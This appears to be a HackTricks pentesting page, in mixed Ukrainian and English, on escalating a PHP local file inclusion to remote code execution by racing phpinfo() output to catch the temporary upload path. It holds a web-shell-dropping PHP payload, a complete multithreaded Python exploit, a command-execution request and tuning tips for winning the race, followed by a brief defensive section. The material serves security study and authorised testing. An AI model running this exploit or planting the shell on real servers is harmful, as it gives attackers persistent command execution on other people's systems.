LFI to RCE via PHPInfo
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Щоб експлуатувати цю техніку, вам потрібні всі наступні речі:
- Доступна сторінка, яка виводить phpinfo().
- A Local File Inclusion (LFI) primitive, якою ви керуєте (наприклад, include/require на ввід користувача).
- PHP file uploads увімкнено (file_uploads = On). Будь-який PHP-скрипт приймає RFC1867 multipart uploads і створює тимчасовий файл для кожної частини завантаження.
- PHP worker повинен мати змогу записувати в налаштований upload_tmp_dir (або в системний тимчасовий каталог за замовчуванням), і ваш LFI повинен мати змогу include цього шляху.
Classic write-up and original PoC:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Original PoC script name: phpinfolfi.py (див. whitepaper і mirrors)
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Примітки щодо оригінального PoC
- Вивід phpinfo() кодується в HTML, тому стрілка “=>” часто з’являється як “=>”. Якщо ви повторно використовуєте застарілі скрипти, переконайтеся, що вони шукають обидва кодування під час парсингу значення _FILES[tmp_name].
- Ви повинні адаптувати payload (ваш PHP code), REQ1 (запит до phpinfo() endpoint, включно з padding) та LFIREQ (запит до вашого LFI sink). Деяким цілям не потрібен null-byte (%00) термінатор, і сучасні версії PHP його не підтримують. Налаштуйте LFIREQ відповідно до вразливого sink.
Приклад sed (тільки якщо ви дійсно використовуєте старий Python2 PoC) щоб відповідати HTML-кодованій стрілці:
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
Theory
- When PHP receives a multipart/form-data POST with a file field, it writes the content to a temporary file (upload_tmp_dir or the OS default) and exposes the path in $_FILES[‘
’][‘tmp_name’]. The file is automatically removed at the end of the request unless moved/renamed. - The trick is to learn the temporary name and include it via your LFI before PHP cleans it up. phpinfo() prints $_FILES, including tmp_name.
- By inflating request headers/parameters (padding) you can cause early chunks of phpinfo() output to be flushed to the client before the request finishes, so you can read tmp_name while the temp file still exists and then immediately hit the LFI with that path.
In Windows the temp files are commonly under something like C:\Windows\Temp\php*.tmp. In Linux/Unix they are usually in /tmp or the directory configured in upload_tmp_dir.
What to verify in phpinfo() before racing
Before sending thousands of requests, extract the values that decide whether the race is realistic:
file_uploads: must beOn.upload_tmp_dir: if set, this is the directory your LFI must be able to include. If empty, expect the system default temp directory.open_basedir: if enabled, your vulnerable include path still needs to be able to reach the temp directory shown intmp_name.output_buffering:4096is a common/default size and is why many PoCs read in 4KB chunks, but this value can differ.zlib.output_compression,output_handler, and any framework-level buffering: these reduce the chance of seeingtmp_nameearly enough.Server API: useful to decide how much buffering may exist between PHP and you (apache2handleris usually easier to reason about thanfpm-fcgibehind a reverse proxy).
If the page does not show $_FILES, make sure you are really sending a multipart/form-data request with an actual file part. PHP only populates tmp_name for upload fields that were parsed.
Attack workflow (step by step)
- Prepare a tiny PHP payload that persists a shell quickly to avoid losing the race (writing a file is generally faster than waiting for a reverse shell):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
-
Надішліть великий multipart POST безпосередньо на сторінку phpinfo(), щоб вона створила тимчасовий файл із вашим payload. Наповніть різні заголовки/куки/параметри ~5–10KB паддінгу, щоб сприяти ранньому виводу. Переконайтеся, що ім’я поля форми збігається з тим, що ви будете парсити в $_FILES.
-
Поки відповідь phpinfo() все ще транслюється, розпарсіть часткове тіло, щоб витягти $_FILES[‘
’][‘tmp_name’] (HTML-encoded). Як тільки отримаєте повний абсолютний шлях (наприклад, /tmp/php3Fz9aB), запустіть ваш LFI, щоб include цей шлях. Якщо include() виконає тимчасовий файл до його видалення, ваш payload виконається і скине /tmp/.p.php. -
Використайте скинутий файл: GET /vuln.php?include=/tmp/.p.php&x=id (або куди б ваша LFI не дозволяла include) щоб надійно виконувати команди.
Поради
- Використовуйте кілька одночасних воркерів, щоб підвищити шанси «виграти гонку».
- Розташування паддінгу, що зазвичай допомагає: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Налаштуйте під конкретну ціль.
- Якщо вразливий sink додає розширення (наприклад, .php), вам не потрібен null byte; include() виконуватиме PHP незалежно від розширення тимчасового файлу.
Мінімальний Python 3 PoC (socket-based)
Наведений фрагмент зосереджений на критичних частинах і його легше адаптувати, ніж застарілий Python2 скрипт. Налаштуйте HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD.
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
Усунення несправностей
- Ви ніколи не бачите
tmp_name: Переконайтеся, що ви дійсно надсилаєте POST multipart/form-data доphpinfo().phpinfo()друкує$_FILESлише коли поле завантаження було присутнє. tmp_nameз’являється лише в самому кінці відповіді: Зазвичай це проблема буферизації, а не версії PHP. Великі значенняoutput_buffering,zlib.output_compression, обробники в userland або буферизація reverse-proxy/FastCGI можуть відстрочити тілоphpinfo()до моменту, коли запит на завантаження майже завершиться.- Надійне стрімінг ви отримуєте лише в лабораторії, а не через реальний сайт: CDN, WAF або reverse proxy можуть буферизувати upstream-відповідь. Якщо у вас є кілька маршрутів до того самого додатка, віддавайте перевагу найбільш прямому шляху до origin.
- Класична логіка з офсетом у 4096 байт пропускає leak: Розглядайте 4096 як відправну точку, виведену з поширених значень
output_buffering, а не як універсальну константу. Парсіть інкрементально і зупиняйтеся, щойноtmp_nameзавершено. - Тимчасовий файл включено, але ваш shell помирає миттєво: Використайте невеликий stager, який записує другий файл, тому що завантажений temp file все одно буде видалено, коли оригінальний запит завершиться.
- Вихід не скидається раніше часу: Збільшіть паддінг, додайте більше великих заголовків або надішліть кілька паралельних запитів. Деякі SAPIs/буфери не скидають до більших порогів; налаштуйте відповідно.
- LFI-шлях заблоковано
open_basedirабоchroot: Потрібно вказати LFI на дозволений шлях або переключитися на інший LFI2RCE-вектор. - Тимчасова директорія не
/tmp:phpinfo()друкує повний абсолютний шляхtmp_name; використовуйте саме цей шлях у LFI.
Практичні зауваги для сучасних стеків
- Ця техніка все ще відтворюється в сучасних лабораторних середовищах; наприклад, Vulhub тримає демонстратор на PHP 7.2. На практиці успіх більше залежить від буферизації та проксингу, ніж від конкретного рівня патчу, що стосується
phpinfo(). flush()іimplicit_flushвпливають лише на власний шар виводу PHP. Вони не гарантують, що FastCGI-шлюз, reverse proxy, браузер або посередник випустять часткові чанки негайно.- Якщо ціль —
fpm-fcgiза Nginx/Apache proxying, мисліть шарами: PHP buffer, PHP output handlers/compression, FastCGI buffering, потім proxy buffering. Гонка спрацює тільки якщо достатня частина відповідіphpinfo()проскочить цей ланцюг до того, як завершення запиту видалить тимчасовий файл.
Зауваги щодо захисту
- Ніколи не виставляйте
phpinfo()в production. Якщо потрібно, обмежте за IP/auth і видаліть після використання. - Тримайте
file_uploadsвідключеним, якщо це не потрібне. Інакше обмежтеupload_tmp_dirшляхом, недоступним дляinclude()в додатку, і забезпечте сувору валідацію будь-яких шляхів для include/require. - Розглядайте будь-який LFI як критичний; навіть без
phpinfo(), існують інші шляхи LFI→RCE.
Пов’язані техніки HackTricks
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Посилання
- LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
- PHP Manual – Flushing System Buffers: https://www.php.net/manual/en/outcontrol.flushing-system-buffers.php
- Vulhub – PHP Local File Inclusion RCE with PHPINFO: https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


